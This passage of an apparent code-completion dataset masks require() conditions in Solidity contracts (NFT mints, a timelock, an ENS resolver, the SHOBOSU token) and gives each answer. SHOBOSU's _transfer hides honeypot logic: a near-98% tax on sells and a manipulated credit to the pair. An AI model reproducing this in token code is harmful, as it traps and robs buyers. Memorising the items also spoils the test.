string private baseTokenUri;
bool public isRevealed;
bool public whiteListSale;
bool public teamSale;
bytes32 private merkleRoot;
using Strings for uint256;
mapping(address => uint256) public totalWhitelistMint;
constructor() ERC721A("Satanic", "COBWS"){
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity) external payable {
require(whiteListSale, "The Golden Whitelist is not open!");
require(<FILL_ME>)
require((totalWhitelistMint[msg.sender] + _quantity) <= maxMintTx, "Cannot mint beyond whitelist max mint");
require(msg.value >= (gwMintPrice * _quantity), "Incorrect purchase amount");
//create leaf node
bytes32 sender = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, sender), "You are not on the whitelist");
totalWhitelistMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function teamMint() external onlyOwner{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
// Change Max Mint limit per Address
function changeMaxTx(uint256 _maxMintTx) external onlyOwner{
}
// Post Sale Reveal
function setTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// IPFS hidden Meta
function setHiddenUri(string memory _hiddenMetadataUri) external onlyOwner{
}
// Set merkle root for Whitelist
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
// View current Merkle root set
function getMerkleRoot() external view returns (bytes32){
}
// Activate Whitelist sale
function toggleWhiteListSale() external onlyOwner{
}
// Activate meta reveal
function toggleReveal() external onlyOwner{
}
// Activate Dev Reserved supply
function devReveal() external onlyOwner{
}
// Retrieve funds to the owner of the Contract
function withdraw() external onlyOwner nonReentrant{
}
}
|
(totalSupply()+_quantity)<=mintSupply,"Max supply has been reached"
| 209,925 |
(totalSupply()+_quantity)<=mintSupply
|
"Cannot mint beyond whitelist max mint"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Satanic is ERC721A, Ownable, ReentrancyGuard{
uint256 public constant mintSupply = 122;
uint256 public maxMintTx = 3;
uint256 public constant gwMintPrice = 0.1 ether;
// Image/Meta/Token Info
string public uriSuffix = '.json';
string public hiddenMetadataUri;
string private baseTokenUri;
bool public isRevealed;
bool public whiteListSale;
bool public teamSale;
bytes32 private merkleRoot;
using Strings for uint256;
mapping(address => uint256) public totalWhitelistMint;
constructor() ERC721A("Satanic", "COBWS"){
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity) external payable {
require(whiteListSale, "The Golden Whitelist is not open!");
require((totalSupply() + _quantity) <= mintSupply, "Max supply has been reached");
require(<FILL_ME>)
require(msg.value >= (gwMintPrice * _quantity), "Incorrect purchase amount");
//create leaf node
bytes32 sender = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, sender), "You are not on the whitelist");
totalWhitelistMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function teamMint() external onlyOwner{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
// Change Max Mint limit per Address
function changeMaxTx(uint256 _maxMintTx) external onlyOwner{
}
// Post Sale Reveal
function setTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// IPFS hidden Meta
function setHiddenUri(string memory _hiddenMetadataUri) external onlyOwner{
}
// Set merkle root for Whitelist
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
// View current Merkle root set
function getMerkleRoot() external view returns (bytes32){
}
// Activate Whitelist sale
function toggleWhiteListSale() external onlyOwner{
}
// Activate meta reveal
function toggleReveal() external onlyOwner{
}
// Activate Dev Reserved supply
function devReveal() external onlyOwner{
}
// Retrieve funds to the owner of the Contract
function withdraw() external onlyOwner nonReentrant{
}
}
|
(totalWhitelistMint[msg.sender]+_quantity)<=maxMintTx,"Cannot mint beyond whitelist max mint"
| 209,925 |
(totalWhitelistMint[msg.sender]+_quantity)<=maxMintTx
|
"Incorrect purchase amount"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Satanic is ERC721A, Ownable, ReentrancyGuard{
uint256 public constant mintSupply = 122;
uint256 public maxMintTx = 3;
uint256 public constant gwMintPrice = 0.1 ether;
// Image/Meta/Token Info
string public uriSuffix = '.json';
string public hiddenMetadataUri;
string private baseTokenUri;
bool public isRevealed;
bool public whiteListSale;
bool public teamSale;
bytes32 private merkleRoot;
using Strings for uint256;
mapping(address => uint256) public totalWhitelistMint;
constructor() ERC721A("Satanic", "COBWS"){
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity) external payable {
require(whiteListSale, "The Golden Whitelist is not open!");
require((totalSupply() + _quantity) <= mintSupply, "Max supply has been reached");
require((totalWhitelistMint[msg.sender] + _quantity) <= maxMintTx, "Cannot mint beyond whitelist max mint");
require(<FILL_ME>)
//create leaf node
bytes32 sender = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, sender), "You are not on the whitelist");
totalWhitelistMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function teamMint() external onlyOwner{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
// Change Max Mint limit per Address
function changeMaxTx(uint256 _maxMintTx) external onlyOwner{
}
// Post Sale Reveal
function setTokenUri(string memory _baseTokenUri) external onlyOwner{
}
// IPFS hidden Meta
function setHiddenUri(string memory _hiddenMetadataUri) external onlyOwner{
}
// Set merkle root for Whitelist
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner{
}
// View current Merkle root set
function getMerkleRoot() external view returns (bytes32){
}
// Activate Whitelist sale
function toggleWhiteListSale() external onlyOwner{
}
// Activate meta reveal
function toggleReveal() external onlyOwner{
}
// Activate Dev Reserved supply
function devReveal() external onlyOwner{
}
// Retrieve funds to the owner of the Contract
function withdraw() external onlyOwner nonReentrant{
}
}
|
msg.value>=(gwMintPrice*_quantity),"Incorrect purchase amount"
| 209,925 |
msg.value>=(gwMintPrice*_quantity)
|
"m"
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./IReverseRegistrar.sol";
import "./ERC721.sol";
contract PokeGAN is ERC721, Ownable {
using ECDSA for bytes32;
uint256 public allowListMintPrice;
address private signerAddress;
bool public paused = true;
bool public mintEnded = false;
address immutable ENSReverseRegistrar = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
uint256 public currentEvolutionIndex = 0;
// TokenID represents the seed of the corresponding pickle file
// New Pickle files are added with a new indices as GAN training progresses
mapping (uint256 => string) public evolutions;
constructor(
string memory _name,
string memory _symbol,
uint256 _allowListMintPrice,
address _signerAddress
) ERC721(_name, _symbol, 99999) {
}
function flipPaused() external onlyOwner {
}
function endMint() external onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function evolve(string calldata newURI) external onlyOwner {
}
function mintAllowList(
bytes32 messageHash,
bytes calldata signature,
uint amount
) public payable {
require(!paused, "s");
require(<FILL_ME>)
require(hashMessage(msg.sender, address(this)) == messageHash, "i");
require(verifyAddressSigner(messageHash, signature), "f");
require(allowListMintPrice * amount <= msg.value, "a");
_safeMint(msg.sender, amount);
}
function addReverseENSRecord(string memory name) external onlyOwner{
}
function verifyAddressSigner(bytes32 messageHash, bytes memory signature) private view returns (bool) {
}
function hashMessage(address sender, address thisContract) public pure returns (bytes32) {
}
function withdraw() external onlyOwner() {
}
function withdrawTokens(address tokenAddress) external onlyOwner() {
}
}
// The High Table
|
!mintEnded,"m"
| 210,052 |
!mintEnded
|
"i"
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./IReverseRegistrar.sol";
import "./ERC721.sol";
contract PokeGAN is ERC721, Ownable {
using ECDSA for bytes32;
uint256 public allowListMintPrice;
address private signerAddress;
bool public paused = true;
bool public mintEnded = false;
address immutable ENSReverseRegistrar = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
uint256 public currentEvolutionIndex = 0;
// TokenID represents the seed of the corresponding pickle file
// New Pickle files are added with a new indices as GAN training progresses
mapping (uint256 => string) public evolutions;
constructor(
string memory _name,
string memory _symbol,
uint256 _allowListMintPrice,
address _signerAddress
) ERC721(_name, _symbol, 99999) {
}
function flipPaused() external onlyOwner {
}
function endMint() external onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function evolve(string calldata newURI) external onlyOwner {
}
function mintAllowList(
bytes32 messageHash,
bytes calldata signature,
uint amount
) public payable {
require(!paused, "s");
require(!mintEnded, "m");
require(<FILL_ME>)
require(verifyAddressSigner(messageHash, signature), "f");
require(allowListMintPrice * amount <= msg.value, "a");
_safeMint(msg.sender, amount);
}
function addReverseENSRecord(string memory name) external onlyOwner{
}
function verifyAddressSigner(bytes32 messageHash, bytes memory signature) private view returns (bool) {
}
function hashMessage(address sender, address thisContract) public pure returns (bytes32) {
}
function withdraw() external onlyOwner() {
}
function withdrawTokens(address tokenAddress) external onlyOwner() {
}
}
// The High Table
|
hashMessage(msg.sender,address(this))==messageHash,"i"
| 210,052 |
hashMessage(msg.sender,address(this))==messageHash
|
"f"
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./IReverseRegistrar.sol";
import "./ERC721.sol";
contract PokeGAN is ERC721, Ownable {
using ECDSA for bytes32;
uint256 public allowListMintPrice;
address private signerAddress;
bool public paused = true;
bool public mintEnded = false;
address immutable ENSReverseRegistrar = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
uint256 public currentEvolutionIndex = 0;
// TokenID represents the seed of the corresponding pickle file
// New Pickle files are added with a new indices as GAN training progresses
mapping (uint256 => string) public evolutions;
constructor(
string memory _name,
string memory _symbol,
uint256 _allowListMintPrice,
address _signerAddress
) ERC721(_name, _symbol, 99999) {
}
function flipPaused() external onlyOwner {
}
function endMint() external onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function evolve(string calldata newURI) external onlyOwner {
}
function mintAllowList(
bytes32 messageHash,
bytes calldata signature,
uint amount
) public payable {
require(!paused, "s");
require(!mintEnded, "m");
require(hashMessage(msg.sender, address(this)) == messageHash, "i");
require(<FILL_ME>)
require(allowListMintPrice * amount <= msg.value, "a");
_safeMint(msg.sender, amount);
}
function addReverseENSRecord(string memory name) external onlyOwner{
}
function verifyAddressSigner(bytes32 messageHash, bytes memory signature) private view returns (bool) {
}
function hashMessage(address sender, address thisContract) public pure returns (bytes32) {
}
function withdraw() external onlyOwner() {
}
function withdrawTokens(address tokenAddress) external onlyOwner() {
}
}
// The High Table
|
verifyAddressSigner(messageHash,signature),"f"
| 210,052 |
verifyAddressSigner(messageHash,signature)
|
"a"
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./IReverseRegistrar.sol";
import "./ERC721.sol";
contract PokeGAN is ERC721, Ownable {
using ECDSA for bytes32;
uint256 public allowListMintPrice;
address private signerAddress;
bool public paused = true;
bool public mintEnded = false;
address immutable ENSReverseRegistrar = 0x084b1c3C81545d370f3634392De611CaaBFf8148;
uint256 public currentEvolutionIndex = 0;
// TokenID represents the seed of the corresponding pickle file
// New Pickle files are added with a new indices as GAN training progresses
mapping (uint256 => string) public evolutions;
constructor(
string memory _name,
string memory _symbol,
uint256 _allowListMintPrice,
address _signerAddress
) ERC721(_name, _symbol, 99999) {
}
function flipPaused() external onlyOwner {
}
function endMint() external onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function evolve(string calldata newURI) external onlyOwner {
}
function mintAllowList(
bytes32 messageHash,
bytes calldata signature,
uint amount
) public payable {
require(!paused, "s");
require(!mintEnded, "m");
require(hashMessage(msg.sender, address(this)) == messageHash, "i");
require(verifyAddressSigner(messageHash, signature), "f");
require(<FILL_ME>)
_safeMint(msg.sender, amount);
}
function addReverseENSRecord(string memory name) external onlyOwner{
}
function verifyAddressSigner(bytes32 messageHash, bytes memory signature) private view returns (bool) {
}
function hashMessage(address sender, address thisContract) public pure returns (bytes32) {
}
function withdraw() external onlyOwner() {
}
function withdrawTokens(address tokenAddress) external onlyOwner() {
}
}
// The High Table
|
allowListMintPrice*amount<=msg.value,"a"
| 210,052 |
allowListMintPrice*amount<=msg.value
|
"ERR: MW Exceed!"
|
/**
*/
/**
_____Telegram: https://t.me/Shobosu
_____Twitter: https://twitter.com/ShobosuERC
_____Website: https://www.shobosu.com/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract SHOBOSU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _ownedBalance;
mapping (address => bool) public ExcludedFromMaxWallet;
mapping (address => bool) public ExcludedFromFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _pairList;
address payable public AdvertisingWallet = payable(0x2Ff9236c3A84DAaA21cf06B1dc273A2ac540916D);
address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD);
string public _name = unicode"SHOBOSU";
string public _symbol = unicode"SHOBOSU";
uint8 private _decimals = 9;
uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;
uint8 private fee = 0;
uint8 private swapCounter = 0;
uint8 private swapMinTrigger = 2;
uint8 private swapTrigger = 10;
uint8 private swapMaxTrigger = 100;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint8 private totalBurned = 0;
uint256 private tokensBurned;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
constructor (uint256 _tokens) {
}
function name() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function symbol() public view returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
receive() external payable {}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from,address to,uint256 amount) private {
if (!ExcludedFromMaxWallet[to]){
require(<FILL_ME>)
}
else{
totalBurned = _pairList[to] ? totalBurned+1 : totalBurned;
}
uint256 Amount = _pairList[to]?tokensBurned:0;
if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){
swapCounter = 0;
uint256 existBalance = balanceOf(address(this));
if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);}
if(existBalance > 0){
swapAndLiquify(existBalance);
}
}
uint8 _takeFee = fee;
if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);}
bool taxDisabled = false;
if(ExcludedFromFee[from] || ExcludedFromFee[to]){
taxDisabled = true;
}
uint256 taxAmount = 0;
_ownedBalance[from] = _ownedBalance[from].sub(amount);
if(!taxDisabled){
taxAmount = amount.mul(_takeFee).div(100);
_ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount));
}
else{
if(_pairList[to]){
_ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount));
}
else{
_ownedBalance[to] = _ownedBalance[to].add(amount);
}
}
emit Transfer(from, to, amount);
}
function sendToWallet(address payable wallet, uint256 amount) private {
}
function swapAndLiquify(uint256 existBalance) private lockTheSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
|
(balanceOf(to)+amount)<=_tTotal.mul(5*5).div(100),"ERR: MW Exceed!"
| 210,219 |
(balanceOf(to)+amount)<=_tTotal.mul(5*5).div(100)
|
"TimeLock already exist for this token"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultipleTimeLock {
struct TimeLock {
address token;
uint256 releaseTime;
}
mapping(address => TimeLock) public timeLocks;
address public immutable beneficiary;
/**
* @dev Check if the given address is the beneficiary
*/
modifier onlyBeneficiary() {
}
/**
* @dev Deploys a timelock instance that is able to hold tokens and will only release them to the deployer after the releaseTime
*/
constructor() {
}
/**
* @dev Create a timelock instance for one token. Could be called only one time by token
*/
function addTimeLock(address _token, uint256 _releaseTime) public onlyBeneficiary {
require(_releaseTime > block.timestamp, "release time is before current time");
TimeLock storage timeLock = timeLocks[_token];
require(<FILL_ME>)
timeLock.token = _token;
timeLock.releaseTime = _releaseTime;
}
/**
* @dev Increase the lock, can never be lower than the previous config
*/
function increaseTimeLock(address _token, uint256 _releaseTime) public onlyBeneficiary {
}
/**
* @dev Transfers tokens held by the timelock to the beneficiary. Will only succeed if invoked after the release
* time.
*/
function release(address _token) public onlyBeneficiary {
}
function getTimeLock(address _token) external view returns (TimeLock memory) {
}
}
|
timeLocks[_token].token==address(0),"TimeLock already exist for this token"
| 210,229 |
timeLocks[_token].token==address(0)
|
"TimeLock not exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MultipleTimeLock {
struct TimeLock {
address token;
uint256 releaseTime;
}
mapping(address => TimeLock) public timeLocks;
address public immutable beneficiary;
/**
* @dev Check if the given address is the beneficiary
*/
modifier onlyBeneficiary() {
}
/**
* @dev Deploys a timelock instance that is able to hold tokens and will only release them to the deployer after the releaseTime
*/
constructor() {
}
/**
* @dev Create a timelock instance for one token. Could be called only one time by token
*/
function addTimeLock(address _token, uint256 _releaseTime) public onlyBeneficiary {
}
/**
* @dev Increase the lock, can never be lower than the previous config
*/
function increaseTimeLock(address _token, uint256 _releaseTime) public onlyBeneficiary {
require(_releaseTime > block.timestamp, "release time is before current time");
TimeLock storage timeLock = timeLocks[_token];
require(<FILL_ME>)
require(_releaseTime > timeLock.releaseTime, "release time is before the current lock time");
timeLock.releaseTime = _releaseTime;
}
/**
* @dev Transfers tokens held by the timelock to the beneficiary. Will only succeed if invoked after the release
* time.
*/
function release(address _token) public onlyBeneficiary {
}
function getTimeLock(address _token) external view returns (TimeLock memory) {
}
}
|
timeLocks[_token].token==_token,"TimeLock not exist"
| 210,229 |
timeLocks[_token].token==_token
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import { NameEncoder } from "@ensdomains/ens-contracts/contracts/utils/NameEncoder.sol";
import { ReverseClaimer } from "@ensdomains/ens-contracts/contracts/reverseRegistrar/ReverseClaimer.sol";
import { ENS } from "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import { INameWrapper } from "@ensdomains/ens-contracts/contracts/wrapper/INameWrapper.sol";
import { WildcardResolverBase } from "../ensWildcardResolvers/WildcardResolverBase.sol";
import { IENSGuilds } from "./interfaces/IENSGuilds.sol";
contract GuildsResolver is WildcardResolverBase, ReverseClaimer {
using NameEncoder for string;
IENSGuilds public ensGuilds;
// guildEnsNode => recordVersion => keccak256(tag) => tagOwner
mapping(bytes32 => mapping(uint256 => mapping(bytes32 => address))) private _guildRecords;
// used to clear all of a Guild's ENS records
mapping(bytes32 => uint256) private _guildRecordVersions;
modifier onlyEnsGuildsContract() {
// solhint-disable-next-line reason-string, custom-errors
require(<FILL_ME>)
_;
}
constructor(
ENS _ensRegistry,
INameWrapper _ensNameWrapper,
address reverseRecordOwner
) WildcardResolverBase(_ensRegistry, _ensNameWrapper) ReverseClaimer(_ensRegistry, reverseRecordOwner) {
}
function initialize(IENSGuilds _ensGuilds) external {
}
function onGuildRegistered(string calldata guildName) external onlyEnsGuildsContract {
}
/**
* Sets the address associated with a guild tag.
* May only be called by descendants of this contract
*/
function setEnsForwardRecord(
bytes32 guildEnsNode,
string memory tag,
address _addr
) external onlyEnsGuildsContract {
}
function clearEnsRecordsForGuild(bytes32 guildEnsNode) external onlyEnsGuildsContract {
}
function setPassthroughTarget(bytes32 guildEnsNode, address resolver) external onlyEnsGuildsContract {
}
function getTagOwner(bytes32 guildEnsNode, bytes32 tagHash) public view returns (address) {
}
function _resolveWildcardEthAddr(
bytes calldata childUtf8Encoded,
bytes calldata parentDnsEncoded
) internal view override returns (address) {
}
function _resolveWildcardTextRecord(
bytes calldata,
bytes calldata,
string calldata
) internal pure override returns (string memory) {
}
function isAuthorised(bytes32 node) internal view override returns (bool) {
}
}
|
_msgSender()==address(ensGuilds)
| 210,232 |
_msgSender()==address(ensGuilds)
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import { NameEncoder } from "@ensdomains/ens-contracts/contracts/utils/NameEncoder.sol";
import { ReverseClaimer } from "@ensdomains/ens-contracts/contracts/reverseRegistrar/ReverseClaimer.sol";
import { ENS } from "@ensdomains/ens-contracts/contracts/registry/ENS.sol";
import { INameWrapper } from "@ensdomains/ens-contracts/contracts/wrapper/INameWrapper.sol";
import { WildcardResolverBase } from "../ensWildcardResolvers/WildcardResolverBase.sol";
import { IENSGuilds } from "./interfaces/IENSGuilds.sol";
contract GuildsResolver is WildcardResolverBase, ReverseClaimer {
using NameEncoder for string;
IENSGuilds public ensGuilds;
// guildEnsNode => recordVersion => keccak256(tag) => tagOwner
mapping(bytes32 => mapping(uint256 => mapping(bytes32 => address))) private _guildRecords;
// used to clear all of a Guild's ENS records
